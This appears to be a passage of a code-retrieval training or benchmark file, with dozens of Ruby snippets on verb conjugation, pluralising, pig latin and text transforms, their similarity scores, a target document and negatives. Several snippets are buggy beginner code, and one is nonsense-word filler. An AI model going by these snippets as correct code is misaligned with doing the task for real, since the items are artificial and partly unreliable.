\"#{num} People\"\n elsif num > 1\n p \"#{num} #{noun}s\"\n else\n p \"Something is wrong\"\n end\nend", "def toonify accent, sentence\n\tif accent == \"daffy\" \n\t\tsentence.gsub(/s/, \"th\")\n\telsif accent == \"elmer\" \n\t\tsentence.gsub(/r/, \"w\")\n\tend\nend", "def translateForOneWord(msg)\n aryChar = msg.split(\"\")\n if aryChar[0].match(/a|e|i|o|u/)\n aryChar << \"ay\"\n elsif (not aryChar[0].match(/a|e|i|o|u/)) && aryChar[1] == \"q\" && aryChar[2] == \"u\" # consonant + q and u\n aryChar << aryChar[0]\n aryChar << aryChar[1]\n aryChar << aryChar[2]\n aryChar.shift #this will remove the first character\n aryChar.shift #this will remove the first character\n aryChar.shift #this will remove the first character\n aryChar << \"ay\"\n elsif aryChar[0] == \"q\" && aryChar[1] == \"u\" # q and u\n aryChar << aryChar[0]\n aryChar << aryChar[1]\n aryChar.shift #this will remove the first character\n aryChar.shift #this will remove the first character\n aryChar << \"ay\"\n elsif (not aryChar[0].match(/a|e|i|o|u/)) && (not aryChar[1].match(/a|e|i|o|u/)) && (not aryChar[2].match(/a|e|i|o|u/)) # if 3 consonants\n aryChar << aryChar[0]\n aryChar << aryChar[1]\n aryChar << aryChar[2]\n aryChar.shift #this will remove the first character\n aryChar.shift #this will remove the first character\n aryChar.shift #this will remove the first character\n aryChar << \"ay\"\n elsif (not aryChar[0].match(/a|e|i|o|u/)) && (not aryChar[1].match(/a|e|i|o|u/)) #if it starts with 2 consonants\n aryChar << aryChar[0]\n aryChar << aryChar[1]\n aryChar.shift #this will remove the first character\n aryChar.shift #this will remove the first character\n aryChar << \"ay\"\n\n elsif not aryChar[0].match(/a|e|i|o|u/)\n aryChar << aryChar[0]\n aryChar.shift #this will remove the first character\n aryChar << \"ay\"\n end\n aryChar.join(\"\")\nend", "def translate(words)\n split_words = words.split\n split_words.each_with_index do |word, i|\n # check if first letter is a vowel\n if word[0].include? VOWELS.join\n word = add_ay(word) # add ay to the back of the word\n split_words[i] = word\n\n elsif word[0].include? CONSONANTS\n find_phoneme(word)\n elsif (word[0].include? CONSONANTS) && (word[1].include? CONSONANTS)\n find_phoneme(word)\n elsif (word[0].include? CONSONANTS) && (word[1].include? CONSONANTS) && (word[2].include? CONSONANTS)\n\n # the word has a consonant at the beginning with\n # no special conditions\n else\n word = one_cons_at_beginning(word)\n word = add_ay(word)\n split_words[i] = word\n end\n end\n split_words.join\nend", "def verb\n verb_path[0] if verb_path\n end", "def http_with_tingyun( verb )\n self._ty_http_verb = verb.to_s.upcase\n http_without_tingyun( verb )\n end", "def pluralizerPlus(noun, num)\n if noun.match?(/goose|child|person/i) && num != 1\n noun.downcase === \"goose\" ? noun = \"geese\" : nil\n noun.downcase === \"child\" ? noun = \"children\" : nil\n noun.downcase === \"person\" ? noun = \"people\" : nil\n end\n if num > 1 && noun.match?(/geese|children|people/i)\n \"#{num} #{noun}\"\n elsif num > 1\n \"#{num} #{noun}s\"\n elsif num === 1\n \"#{num} #{noun}\"\n elsif num === 0 && noun.match?(/geese|children|people/i)\n \"zero #{noun}\"\n elsif num === 0\n \"zero #{noun}s\"\n else\n \"Please enter a whole number\"\n end\nend", "def pluralizer\n @number = params[:num].to_i\n @noun = params[:noun]\n if @noun.downcase == 'moose' && @number >1\n @noun = 'moose'\n elsif @noun.downcase == 'goose' && @number >1\n @noun = 'geese'\n elsif @noun.downcase == 'child' && @number >1\n @noun = 'children'\n elsif @number > 1\n @noun = @noun + 's'\n end\n render \"pluralizer.html.erb\"\nend", "def kase_person_verb_type_and_time_in_words(kase, options={})\n \"%{name} %{verb_and_type} %{time}\" % {\n :name => link_to(h(kase.person.username_or_title_and_full_name), person_path(kase.person),\n options[:pcard] ? {:class => \"pcard\", :rel => member_url([@tier, kase.person], :pcard)} : {}),\n :verb_and_type => case kase.kind \n when :problem then \"reported this problem\".t\n when :question then \"asked this question\".t\n when :praise then \"gave praise\".t\n when :idea then \"shared this idea\".t\n else \"posted this case\".t\n end,\n :time => \"%{time} ago\".t % {:time => time_ago_in_words_span_tag(kase.created_at)}\n }\n end", "def _process(tape:, **args)\n result = in_order(handlers: [SubjectClause, VerbObjectClause],\n tape: tape, **args)\n\n return fail(tape: tape) unless result.succeeded\n\n succeed(\n tape: tape,\n output: Statement.new(\n subject: result[:output][0],\n verb_object: result[:output][1]\n )\n )\n end", "def past(infinitive, person, plurality, mood)\n if (verb = conjugations.irregulars[infinitive])\n conjugate_irregular(verb, tense: :past, person: person, plurality: plurality, mood: mood)\n else\n regular_preterite_for infinitive\n end\n end", "def toonify(accent, sentence)\n\tif accent == \"daffy\"\n\t\tsentenceArr = sentence.split('')\n\t\tsentenceArr.map! do |word|\n\t\t\tif word == 's'\n\t\t\t\tword = 'th'\n\t\t\telse\n\t\t\t\tword = word\n\t\t\tend\n\t\tend\n\t\tp sentenceArr.join()\n\telsif accent == \"elmer\"\n\t\tsentenceArr = sentence.split('')\n\t\tsentenceArr.map! do |word|\n\t\t\tif word == 'r'\n\t\t\t\tword = 'w'\n\t\t\telse\n\t\t\t\tword = word\n\t\t\tend\n\t\tend\n\t\tp sentenceArr.join()\n\telse\n\t\tp sentence\n\tend\nend", "def process_sentence(msg)\n\n words = msg.split(/\\s+/)\n has_emotion = []\n\n words.each_with_index do |em,i|\n if i > 0 and @emotions.include? em\n has_emotion[i-1] = @emotions.index(em)\n words.delete_at(i)\n end\n end\n\n #msg = msg.sub(/\\b*\\s+\\W\\s+\\b*/,'')\n\n #nouns = get_context(message)\n nouns = @brain.get_topic(msg)\n\n\n\n # Loop through all words, with the index, to access elements properly\n words.each_with_index do |word,i|\n\n word.downcase!\n # We cant pair the first word, because it doesn't follow any word,\n # so instead we pair each word after the first to the previous word\n if i > 0\n\n pair_words(words[i-1],word,{ context: nouns })\n puts \"CALL # #{i}\"\n\n # Pairs emoticons to our newly created pair\n unless has_emotion.at(i) == nil\n @pair_emotion.execute(has_emotion.at(i))\n end\n end\n if i > 1\n tripair_words(words[i-2], words[i-1], word)\n\n unless has_emotion.at(i) == nil\n @tripair_emotion.execute(has_emotion.at(i),has_emotion.at(i))\n end\n end\n end\n end", "def check_for_improper_constructions(infinitive, tense, person, mood, diathesis)\n if (mood == :imperative) && !((person == :second) && (tense == :present))\n raise Verbs::ImproperConstruction, 'The imperative mood requires present tense and second person'\n end\n if (infinitive.to_sym == :be) && (diathesis == :passive)\n raise Verbs::ImproperConstruction, 'There is no passive diathesis for the copula'\n end\n end", "def learn utterance\n MyLogger.debug \"Player ##{id} learning #{utterance}\"\n # 1. Incorporation\n rule = grammar.learn utterance.meaning, utterance.word\n # 2. Merging\n grammar.merge rule if rule\n # 3. Cleaning\n grammar.clean!\n end", "def simplification_rules_for_conjunction\n if is_formula_and_formula?\n copy @left_sentence\n update\n elsif is_formula_and_not_formula?\n @left_sentence, @right_sentence, @operator = nil,nil,nil\n update(Constant::VALUES[:bottom])\n elsif is_formula_and_up?\n if @left_sentence.is_constant?\n copy @right_sentence\n else\n copy @left_sentence\n end\n update\n elsif is_formula_and_bottom?\n @left_sentence, @right_sentence, @operator = nil,nil,nil\n update(Constant::VALUES[:bottom])\n end\n end", "def remanet(concupiscibleness, torve_resack)\n seeker(bloomery, crumbcloth_lacepod, inspirant_inalterably)\n antispadix_provencalize(galactophthysis, saintlike)\n japheth(auresca, squamatine, vitalist_pheal)\n end", "def toonify(accent, sentence)\n\tif accent == \"daffy\"\n\t\tre = /s/\n\t\tsentence = sentence.replace(re,\"th\")\n\telsif accent == \"elmer\"\n\t\tre = /r/\n\t\tsentence = sentence.replace(re, \"w\")\n\telse\n\t\tput sentence\n\tend\nend", "def toonify |accent, sentence|\n\n\nend", "def passive_voice_indicative_mood_perfect_tense\n TenseBlock.new(\n Linguistics::Latin::Verb::LatinVerb::PASS_PERF_PRESENT_ENDINGS.map{ |helping_verb| \"#{passive_perfect_participle} #{helping_verb}\" },\n { :meaning => Linguistics::Latin::Verb::LatinVerb::MEANINGS[:passive_voice_indicative_mood_perfect_tense] }\n )\n end", "def passive_voice_subjunctive_mood_imperfect_tense\n base = present_active_infinitive.gsub(/(.*)(.)$/,\"\\\\1\" + 'ē')\n TenseBlock.new(\n Linguistics::Latin::Verb::LatinVerb::PASSIVE_ENDINGS_FIRST_AND_SECOND_CONJG.map do |ending|\n base + ending\n end,\n { :meaning => Linguistics::Latin::Verb::LatinVerb::MEANINGS[:passive_voice_subjunctive_mood_imperfect_tense] }\n )\n end", "def count_verbs\n @regular_verb_count ||= self.alternation_values\n .where(alternation_occurs: 'Regularly').reduce(0) do |sum, av|\n if av.verb then sum + 1 else sum end\n end\n end", "def rule(singular, plural, whole_word = false)\n singular_rule(singular, plural)\n plural_rule(singular, plural)\n word(singular, plural) if whole_word\n end", "def similar_action(num)\n letter = @x.first_chr(num)\n @x.delete! letter\n # capitalize the new word if the original word was capitalized before being translated\n letter == letter.capitalize ? @x.capitalize << letter.downcase << \"ay\" : @x << letter << \"ay\" \n end", "def define_verb(verb)\n @mod.define_singleton_method(verb.to_sym) do |*args, &block|\n class_eval \"Croesus.#{verb}\"\n end\n end", "def pluralizer_2 (noun, number)\n if noun == \"foot\" && number > 1\n puts \"#{number} feet\"\n elsif noun == \"family\" && number > 1\n puts \"#{number} families\"\n elsif noun == \"person\" && number > 1\n puts \"#{number} people\"\n elsif number == 0 || number == 1\n puts \"#{number} #{noun}\"\n elsif number > 1\n puts \"#{number} #{noun}s\"\n else \n puts \"Please enter a valid positive number and noun\"\n end\nend", "def translate_two_consonants( s )\n\n\t\t\t\t# store the letters in an array\n\t\t\t\tch_array = s.chars\n\n\t\t\t\t# then grab the first letter from the array\n\t\t\t\tfirst_letter = ch_array.shift\n\n\t\t\t\t# then grab the second letter from the array\n\t\t\t\tsecond_letter = ch_array.shift\n\n\t\t\t\t# put both letters at the back with push and add 'ay'\n\t\t\t\tch_array << first_letter + second_letter + \"ay\"\n\n\t\t\t\t# bring it back together\n\t\t\t ch_array.join\n\n\tend", "def translate(str)\n\n\n\n # Vowels to consider\n vowels = [\"a\", \"e\", \"i\", \"o\", \"u\"]\n \n # Special cases to consider\n two_letter_consonants = [\"ch\", \"sh\", \"qu\", \"th\", \"br\"]\n three_letter_consonants = [\"thr\", \"sch\", \"squ\"]\n\n words = str.split(\" \")\n result = []\n\n words.each do |word|\n if vowels.include?(word[0])\n result.push word << \"ay\"\n else \n if three_letter_consonants.include? (word[0] + word[1] + word[2])\n first_three_letters = word.slice!(0,3)\n \n # Add letters to end of word with 'ay'\n result.push word << first_three_letters << 'ay'\n elsif two_letter_consonants.include?(word[0] + word[1])\n first_two_letters = word.slice!(0,2)\n result.push word << first_two_letters << \"ay\"\n else \n first_letter = word.slice!(0)\n \n # Add first letter to end of word with 'ay'\n result.push word << first_letter << 'ay'\n end #End of special consonant check\n end \n end \n return result.join(\" \")\nend", "def undersingularize(noun)\n noun.to_s.underscore.singularize.downcase\n end", "def proverb_params\n params.require(:proverb).permit(:english, :translation, :active)\n end", "def essay_writer(title, person, date, thesis_statement, gender)\n\nif gender == \"female\"\n pronoun_1 = \"she\"\n pronoun_2 = \"her\" \nelse \n pronoun_1 = \"he\"\n pronoun_2 = \"his\"\nend \n \n\"#{title}\n \n #{person.capitalize} was important in #{date}. #{pronoun_1.capitalize} were great because of #{pronoun_2} work. #{thesis_statement}.\" \n \n end", "def combine_subjects\n @sentences.each_cons(2) do |s1, s2|\n if s1.subject == s2.subject\n s2.subject = Pronoun.new(s1.subject.gender)\n end\n end\n end", "def deponent_imperative_mutations # :nodoc:\n self.singleton_class.class_eval do\n def active_voice_imperative_mood_present_tense_second_person_singular_number\n return @proxyVerb.instance_variable_get '@present_active_infinitive'\n end\n def active_voice_imperative_mood_present_tense_second_person_plural_number\n return @proxyVerb.send :passive_voice_indicative_mood_present_tense_second_person_plural_number\n end\n def active_voice_imperative_mood_future_tense_second_person_singular_number\n k=@proxyVerb.send :passive_voice_indicative_mood_present_tense_second_person_plural_number\n k.sub!(/minī$/, '')\n k += 'tor'\n Linguistics::Latin::Phonographia.fix_macrons k\n end\n end\n end", "def structure(adjective, noun, verb, style)\n self.value = \"A #{adjective.value} #{noun.value}, #{verb.value} in the style of #{style.value}\"\n end", "def verb\r\n self.class.verb\r\n end", "def translate\n @new_phrase = []\n words\n @phrase.each do |word|\n @new_phrase << changer(word)\n end\n end", "def present_participle\n plural = self.obj.to_s.en.plural_verb\n\n\t\tplural.sub!( /ie$/, 'y' ) or\n\t\t\tplural.sub!( /ue$/, 'u' ) or\n\t\t\tplural.sub!( /([auy])e$/, '$1' ) or\n\t\t\tplural.sub!( /i$/, '' ) or\n\t\t\tplural.sub!( /([^e])e$/, \"\\\\1\" ) or\n\t\t\t/er$/.match( plural ) or\n\t\t\tplural.sub!( /([^aeiou][aeiouy]([bdgmnprst]))$/, \"\\\\1\\\\2\" )\n\n return \"#{plural}ing\"\n\tend", "def verbs\n pos 'VERB'\n end", "def dynamic_phrase_4\r\n\r\n # Verse 1: **no more bottles**\r\n if one_bottle?\r\n \"no more bottles\"\r\n # Verse 0: **99 bottles**\r\n elsif zero_bottles?\r\n \"99 #{bottle_s}\"\r\n else\r\n # Verse 2: **bottle**\r\n # Verse x: **x bottles**\r\n @bottle_quantity -= 1\r\n \"#{bottle_quantity} #{bottle_s}\"\r\n end\r\n end", "def rule3(str = @word)\n newstr = str.chars\n\n reverse = false\n output = ''\n\n newstr.each do |char|\n if char == '!'\n reverse = !reverse\n else\n output << char\n end\n end\n\n output.reverse! unless !reverse\n output.to_s.squeeze(\" \")\n end", "def valid_sentence?(sentence_array)\n\t# input is expected to be array\n\t# method tests rules. Does the array have \n\t\t# 1 verb or more\n\t\t# 1 noun or 2 articles minimum\n\t\t# are all the words in the dictionary\n\tnouns = [\"abcd\", \"c\", \"def\", \"h\", \"ij\", \"cde\"]\n\tverbs = [\"bc\", \"fg\", \"g\", \"hij\", \"bcd\"]\n\tarticles = [\"a\", \"ac\", \"e\"]\n\tsentence_counter = 0 \n\n\tif sentence_array.class == Array\n\t\t# continue\n\t\tfor sentence in sentence_array do \n\n\t\t\t# are all the words valid in the dictionary?\t\n\t\t\tall = nouns + verbs + articles\n\t\t\tfor word in sentence do \n\t\t\t\tif all.include?(word)\n\t\t\t\t\t# p \"this word is valid\"\n\t\t\t\telse\n\t\t\t\t\tp \"#{word} is not a valid word in the dictionary\"\n\t\t\t\t\treturn false\n\t\t\t\tend\n\t\t\tend\n\t\t\t# p \"all words in sentence ar valid words..\"\n\t\t\t\n\t\t\t# does it have a verb?\n\t\t\tv = (sentence & verbs)\n\t\t\tif v.count > 0\n\t\t\t\t# p \"sentence at index #{sentence_counter} has at least 1 verb #{v}\"\n\n\t\t\t\t# does it have 1 noun? or if not, does it have 2 articles?\n\t\t\t\tn = (sentence & nouns)\n\n\t\t\t\tif n.count > 0\n\t\t\t\t\t# p \"sentence at index #{sentence_counter} has a noun #{n}\"\n\n\t\t\t\telse\n\t\t\t\t\t# 2 articles?\n\t\t\t\t\ta = (sentence & articles)\n\t\t\t\t\tif a.count >= 2\n\t\t\t\t\t\t# p \"sentence at index #{sentence_counter} has no noun, but 2 articles #{a}\"\n\t\t\t\t\telse\n\t\t\t\t\t\treturn false\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tp \"false sentence, does not contain a verb #{sentence}\"\n\t\t\t\treturn false\n\t\t\t\t# this sentence does not have a verb\n\t\t\tend\n\t\t\tsentence_counter += 1\n\t\tend\n\t\tputs \"\"\n\t\tputs \"every sentence is valid! \\n #{sentence_array}\"\n\t\treturn true\n\telse\n\t\tp \"the input is not valid, needs to be an array\"\n\t\treturn false\n\t\t# remove this from the array\n\t\t# will have to trick the system\n\tend\n\t\nend", "def translate(your_string)\n words = your_string.split(/\\s+/)\n vowels = %w{a e i o u}\n th_ch = %q{th ch sh sc qu }\n three_letter = %q{sch}\n translated_words=[]\n words.each do |word|\n letters = word.scan(/\\w/)\n word_length = letters.length\n \n if vowels.include?(letters[0])\n #word begins with a vowel\n word += \"ay\"\n \n elsif th_ch.include?(letters[0]+letters[1]) && !vowels.include?(letters[2])\n # word begins with three consonants\n word = (letters[3..word_length-1]<<letters[0]<<letters[1]<<letters[2]).join.to_s+\"ay\"\n \n elsif th_ch.include?(letters[0]+letters[1]) && vowels.include?(letters[2])\n #word begins with two defined consonants followed by a vowel\n word = (letters[2..word_length-1]<<letters[0]<<letters[1]).join.to_s+\"ay\"\n \n elsif (letters[1]+letters[2]) == \"qu\"\n # word starts with a <consonant + \"qu\">\n word = (letters[3..word_length-1]<<letters[0]<<letters[1]<<letters[2]).join.to_s+\"ay\"\n \n elsif !vowels.include?(letters[0]) && !vowels.include?(letters[1])\n #word begins with two not_defined consonants followed by a vowel\n word = (letters[2..word_length-1]<<letters[0]<<letters[1]).join.to_s+\"ay\"\n \n else\n # only one consonant begins the word\n word = (letters[1..word_length-1]<<letters[0]).join.to_s+\"ay\"\n end\n translated_words << word\n end\n translated_words.join(\" \").to_s\nend", "def create\n @irregular_verb = IrregularVerb.new(params[:irregular_verb])\n\n respond_to do |format|\n if @irregular_verb.save\n format.html { redirect_to @irregular_verb, notice: 'Irregular verb was successfully created.' }\n format.json { render json: @irregular_verb, status: :created, location: @irregular_verb }\n else\n format.html { render action: \"new\" }\n format.json { render json: @irregular_verb.errors, status: :unprocessable_entity }\n end\n end\n end", "def subsequent_rules(*args); end", "def subsequent_rules(*args); end", "def\n \nend\n\n\n# 6. sentence_maker refactored solution", "def passive_voice_indicative_mood_pastperfect_tense# {{{\n TenseBlock.new(\n Linguistics::Latin::Verb::LatinVerb::PASS_PERF_PAST_ENDINGS.map{ |helping_verb| \"#{passive_perfect_participle} #{helping_verb}\" },\n { :meaning => Linguistics::Latin::Verb::LatinVerb::MEANINGS[:passive_voice_indicative_mood_pastperfect_tense]}\n )\n end", "def consonant_cancel(sentence)\r\n newSentence = []\r\n sentence.split(\" \").each do |word|\r\n newWord = word\r\n while !('aeiou'.include?(newWord[0]))\r\n newWord = newWord[1..-1]\r\n end\r\n newSentence << newWord\r\n end\r\n return newSentence.join(\" \")\r\nend", "def word_substituter(tweet)\n newtweet = tweet.split \n dictionary.each do |phrase, subs|\n newtweet.map! do |word|\n if word == phrase\n word = subs\n elsif \n word == phrase.capitalize\n word = subs\n else \n word = word\n end\n end\n end \n newtweet.join(\" \")\nend", "def consonant_converter(string)\r\n name_array = string\r\n consonant = ['b', 'c', 'd', 'f', 'g', 'h', 'j', 'k', 'l', 'm', 'n', 'p', 'q', 'r', 's', 't', 'v', 'w', 'x', 'y', 'z']\r\n counter = 0\r\n consonant_counter = 0\r\n# Outer loop that loops through entire name (first and last)\r\n while counter < name_array.length\r\n# Inner loop that loops through list of consonants, compares them with name, and changes consonants in name\r\n \twhile consonant_counter < consonant.length\r\n \t\tif name_array[counter] == consonant[consonant_counter]\r\n if name_array[counter] == 'z'\r\n \tname_array[counter] = 'b'\r\n break\r\n else\t\r\n \t\t name_array[counter] = consonant[consonant_counter + 1]\r\n \t\t break\r\n \t\t end\r\n \t end\r\n consonant_counter += 1\r\n end\r\n counter += 1\r\n consonant_counter = 0\r\n end \r\n new_name = name_array.join('')\r\n new_name = new_name.split(' ')\r\n new_name.map! { |word| word.capitalize! }\r\n new_name = new_name.join(' ')\r\n return new_name\r\nend", "def mod_for_phrases(raw_cell, method_name_or_ability_class, card_to_setup)\n return unless raw_cell\n #puts [raw,cat,card_class,name].inspect\n raw_cell.split(/[,;]/).each do |raw_cell_part|\n p = make_parsed_phrase_obj(raw_cell_part,method_name_or_ability_class)\n p.mod_card(card_to_setup) if p\n end\n end", "def other_http_verbs_than(*verbs)\n http_verbs - verbs.flatten.map(&:to_s).map(&:downcase).map(&:to_sym)\n end", "def case_q(word,first_letter )\n vowel = [\"a\",\"e\",\"i\",\"o\",\"u\",\"y\"]\n #si le q est la première lettre du mot\n if first_letter\n #si la 2eme lettre n'est pas un 'u', on traite le mot avec translate_consonant\n unless word[1] ==\"u\"\n translate_consonant(word)\n #si la 2eme lettre est un 'u'\n else\n move_and_add(word,2)\n end\n #si il est à la seconde position\n else\n #si la prémière lettre est une voyelle\n if vowel.include?(word[0])\n word+\"ay\"\n #si la prémière lettre n'est pas une voyelle (consonne) et la 3eme, un 'u'\n elsif not vowel.include?(word[0]) && word[2] == \"u\"\n move_and_add(word,3)\n else\n translate_consonant(word)\n end\n end\nend", "def conditional_caps(phrase)\n if phrase.length > 10\n phrase.upcase\n else \n phrase\n end\nend", "def set_verb\n @verb = Verb.find(params[:id])\n end", "def dynamic_phrase_2\r\n # Verse 0: **no more bottles**\r\n if zero_bottles?\r\n \"no more #{bottle_s}\"\r\n else\r\n # Verse 1: **1 bottle**\r\n # Verse x: **x bottles**\r\n \"#{bottle_quantity} #{bottle_s}\"\r\n end\r\n end", "def adjust_for_match\n return unless @applied_side_effects\n new_role_sequence_needed = @applied_side_effects.residual_adjectives\n\n role_phrases = []\n reading_words = []\n new_role_sequence_needed = false\n @phrases.each do |phrase|\n if phrase.respond_to?(:player)\n role_phrases << phrase\n reading_words << \"{#{phrase.role_ref.ordinal}}\"\n if phrase.role_name != phrase.role_ref.role.role_name ||\n phrase.leading_adjective ||\n phrase.trailing_adjective\n trace :matching, \"phrase in matched clause has residual adjectives or role name, so needs a new role_sequence\" if @fact_type.all_reading.size > 0\n new_role_sequence_needed = true\n end\n else\n reading_words << phrase\n false\n end\n end\n\n trace :matching, \"Clause '#{reading_words*' '}' #{new_role_sequence_needed ? 'requires' : 'does not require'} a new Role Sequence\"\n\n constellation = @fact_type.constellation\n reading_text = reading_words*\" \"\n if new_role_sequence_needed\n @role_sequence = constellation.RoleSequence(:new)\n extra_adjectives = []\n role_phrases.each_with_index do |rp, i|\n role_ref = constellation.RoleRef(@role_sequence, i, :role => rp.role_ref.role)\n if a = rp.leading_adjective\n role_ref.leading_adjective = a\n extra_adjectives << a+\"-\"\n end\n if a = rp.trailing_adjective\n role_ref.trailing_adjective = a\n extra_adjectives << \"-\"+a\n end\n if (a = rp.role_name) && (e = rp.role_ref.role.role_name) && a != e\n raise \"Can't create new reading '#{reading_text}' for '#{reading.expand}' with alternate role name #{a}\"\n extra_adjectives << \"(as #{a})\"\n end\n end\n trace :matching, \"Making new role sequence for new reading #{reading_text} due to #{extra_adjectives.inspect}\"\n else\n # Use existing RoleSequence\n @role_sequence = role_phrases[0].role_ref.role_sequence\n if @role_sequence.all_reading.detect{|r| r.text == reading_text }\n trace :matching, \"No need to re-create identical reading for #{reading_text}\"\n return @role_sequence\n else\n trace :matching, \"Using existing role sequence for new reading '#{reading_text}'\"\n end\n end\n if @fact_type.all_reading.\n detect do |r|\n r.text == reading_text and\n r.role_sequence.all_role_ref_in_order.map{|rr| rr.role.object_type} ==\n @role_sequence.all_role_ref_in_order.map{|rr| rr.role.object_type}\n end\n # raise \"Reading '#{@reading.expand}' already exists, so why are we creating a duplicate (with #{extra_adjectives.inspect})?\"\n else\n constellation.Reading(@fact_type, @fact_type.all_reading.size, :role_sequence => @role_sequence, :text => reading_text, :is_negative => (certainty == false))\n end\n @role_sequence\n end" ]
[ "0.6468106", "0.57955927", "0.5775022", "0.5724713", "0.5706209", "0.5638677", "0.5608252", "0.5470209", "0.5470209", "0.5470209", "0.5470209", "0.5470209", "0.53566796", "0.53566796", "0.52387756", "0.5218787", "0.52186495", "0.5214793", "0.5181069", "0.51657146", "0.5156089", "0.51367056", "0.51349247", "0.5113278", "0.51034075", "0.5047225", "0.50161844", "0.5008737", "0.5007707", "0.49900088", "0.49853703", "0.4967962", "0.49666747", "0.49613005", "0.49392805", "0.4914369", "0.49051252", "0.4904959", "0.48898956", "0.48756483", "0.48485568", "0.48382825", "0.4821899", "0.48066747", "0.48037556", "0.48031598", "0.47913295", "0.47843757", "0.47778916", "0.4773329", "0.4767113", "0.47664672", "0.47537205", "0.47495016", "0.4718441", "0.4709", "0.47064263", "0.46964455", "0.4689141", "0.46865", "0.46802425", "0.4678936", "0.46780682", "0.46454847", "0.46282932", "0.46271372", "0.46233082", "0.4618548", "0.46125078", "0.4609971", "0.46094948", "0.4607182", "0.46063387", "0.46060693", "0.4596782", "0.45839962", "0.45828336", "0.45726803", "0.4572069", "0.45709708", "0.45702946", "0.4570207", "0.4562953", "0.45591787", "0.45576182", "0.45555604", "0.45531648", "0.45531648", "0.45529127", "0.45496315", "0.4540868", "0.45343482", "0.4533047", "0.4526715", "0.4526227", "0.45203644", "0.45188302", "0.4517177", "0.45155", "0.45123994" ]
0.65749305
0
Apply the regular past tense to a given verb for the conjugation Params: verb, apply regular past tense rules to this
def regular_preterite_for(verb) infinitive = verb.is_a?(Verb) ? verb.infinitive.to_s : verb.to_s if verb.to_s.match(/#{CONSONANT_PATTERN}#{VOWEL_PATTERN}#{DOUBLED_CONSONANT_WITHOUT_C_PATTERN}$/) && !conjugations.single_terminal_consonants.include?(verb.to_sym) return regular_preterite_with_doubled_terminal_consonant_for verb end case verb.to_s when /(#{CONSONANT_PATTERN}e|ye|oe|nge|ie|ee|ue)$/ infinitive.concat('d').to_sym when /#{CONSONANT_PATTERN}y$/ infinitive.gsub(/y$/, 'ied').to_sym when /c$/ infinitive.gsub(/c$/, 'cked').to_sym else infinitive.concat('ed').to_sym end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def past(infinitive, person, plurality, mood)\n if (verb = conjugations.irregulars[infinitive])\n conjugate_irregular(verb, tense: :past, person: person, plurality: plurality, mood: mood)\n else\n regular_preterite_for infinitive\n end\n end", "def get_regular(verb)\n case verb\n when /(ch|s|sh|x|z)$/\n return verb + 'es'\n when /(ay|ey|oy|uy)$/\n return verb + 's'\n when /[^aeiou]y$/\n return verb[ 0..-2 ] + 'ies'\n else\n return verb + 's'\n end\n end", "def active_voice_subjunctive_mood_pastperfect_tense# {{{\n asp_base = first_person_perfect[0..first_person_perfect.length-2] + \"issē\"\n TenseBlock.new( ['m', Linguistics::Latin::Verb::LatinVerb::AP_FIRST_AND_SECOND_CONJUG_PERS_ENDINGS].flatten!.map do |ending|\n asp_base + ending\n end,\n { :meaning => Linguistics::Latin::Verb::LatinVerb::MEANINGS[:active_voice_subjunctive_mood_pastperfect_tense] }\n )\n end", "def regular_preterite_with_doubled_terminal_consonant_for(verb)\n regular_preterite_for verb.to_s.concat(verb.to_s[-1, 1]).to_sym\n end", "def passive_voice_subjunctive_mood_pastperfect_tense# {{{\n count = -1\n TenseBlock.new(Linguistics::Latin::Verb::LatinVerb::PASS_PLUPERF_PAST_ENDINGS.map do |ending|\n count += 1\n (count <= 2 ?\n \"[ #{triplicate_and_genderize passive_perfect_participle} ]\" :\n \"[ #{pluralize_participial_listing(triplicate_and_genderize(passive_perfect_participle))} ]\" )+ \" \" + ending\n end,\n { :meaning => Linguistics::Latin::Verb::LatinVerb::MEANINGS[:passive_voice_subjunctive_mood_pastperfect_tense] }\n )\n end", "def passive_voice_subjunctive_mood_imperfect_tense\n base = present_active_infinitive.gsub(/(.*)(.)$/,\"\\\\1\" + 'ē')\n TenseBlock.new(\n Linguistics::Latin::Verb::LatinVerb::PASSIVE_ENDINGS_FIRST_AND_SECOND_CONJG.map do |ending|\n base + ending\n end,\n { :meaning => Linguistics::Latin::Verb::LatinVerb::MEANINGS[:passive_voice_subjunctive_mood_imperfect_tense] }\n )\n end", "def passive_voice_indicative_mood_pastperfect_tense# {{{\n TenseBlock.new(\n Linguistics::Latin::Verb::LatinVerb::PASS_PERF_PAST_ENDINGS.map{ |helping_verb| \"#{passive_perfect_participle} #{helping_verb}\" },\n { :meaning => Linguistics::Latin::Verb::LatinVerb::MEANINGS[:passive_voice_indicative_mood_pastperfect_tense]}\n )\n end", "def pluralize_special_verb( word, count )\n\t\tself.log.debug \"Trying to pluralize %p as a special verb...\" % [ word ]\n\t\tcount ||= 1\n\t\tcount = normalize_count( count )\n\n\t\tif /^(#{PL_count_one})$/i =~ count.to_s\n\t\t\tself.log.debug \" it's a single-count word, returning it unchanged.\"\n\t\t\treturn word # :FIXME: should this return nil instead?\n\t\t\t# return nil\n\t\tend\n\n\t\t# Handle user-defined verbs\n\t\t#if value = ud_match( word, PL_v_user_defined )\n\t\t#\treturn value\n\t\t#end\n\n\t\tcase word\n\n\t\t# Handle irregular present tense (simple and compound)\n\t\twhen /^(#{PL_v_irregular_pres})((\\s.*)?)$/i\n\t\t\tkey = $1.downcase\n\t\t\tself.log.debug \" yep, it's an irregular present tense verb (%p)\" % [ key ]\n\t\t\treturn PL_v_irregular_pres_h[ $1.downcase ] + $2\n\n\t\t# Handle irregular future, preterite and perfect tenses\n\t\twhen /^(#{PL_v_irregular_non_pres})((\\s.*)?)$/i\n\t\t\tself.log.debug \" yep, it's an irregular non-present tense verb (%p)\" % [ key ]\n\t\t\treturn word\n\n\t\t# Handle special cases\n\t\twhen /^(#{PL_v_special_s})$/\n\t\t\tself.log.debug \" it's a not special-case verb; aborting.\"\n\t\t\treturn nil\n\n\t\t# Handle standard 3rd person (chop the ...(e)s off single words)\n\t\twhen /^(.*)([cs]h|[x]|zz|ss)es$/i\n\t\t\tbase, suffix = $1, $2\n\t\t\tself.log.debug \" it's a standard third-person verb (%p + %p)\" % [ base, suffix ]\n\t\t\treturn base + suffix\n\t\twhen /^(..+)ies$/i\n\t\t\tverb = $1\n\t\t\tself.log.debug \" it's a standard third-person verb (%p + ies -> +y)\" % [ verb ]\n\t\t\treturn \"#{verb}y\"\n\t\twhen /^(.+)oes$/i\n\t\t\tverb = $1\n\t\t\tself.log.debug \" it's a standard third-person verb (%p + oes -> +o)\" % [ verb ]\n\t\t\treturn 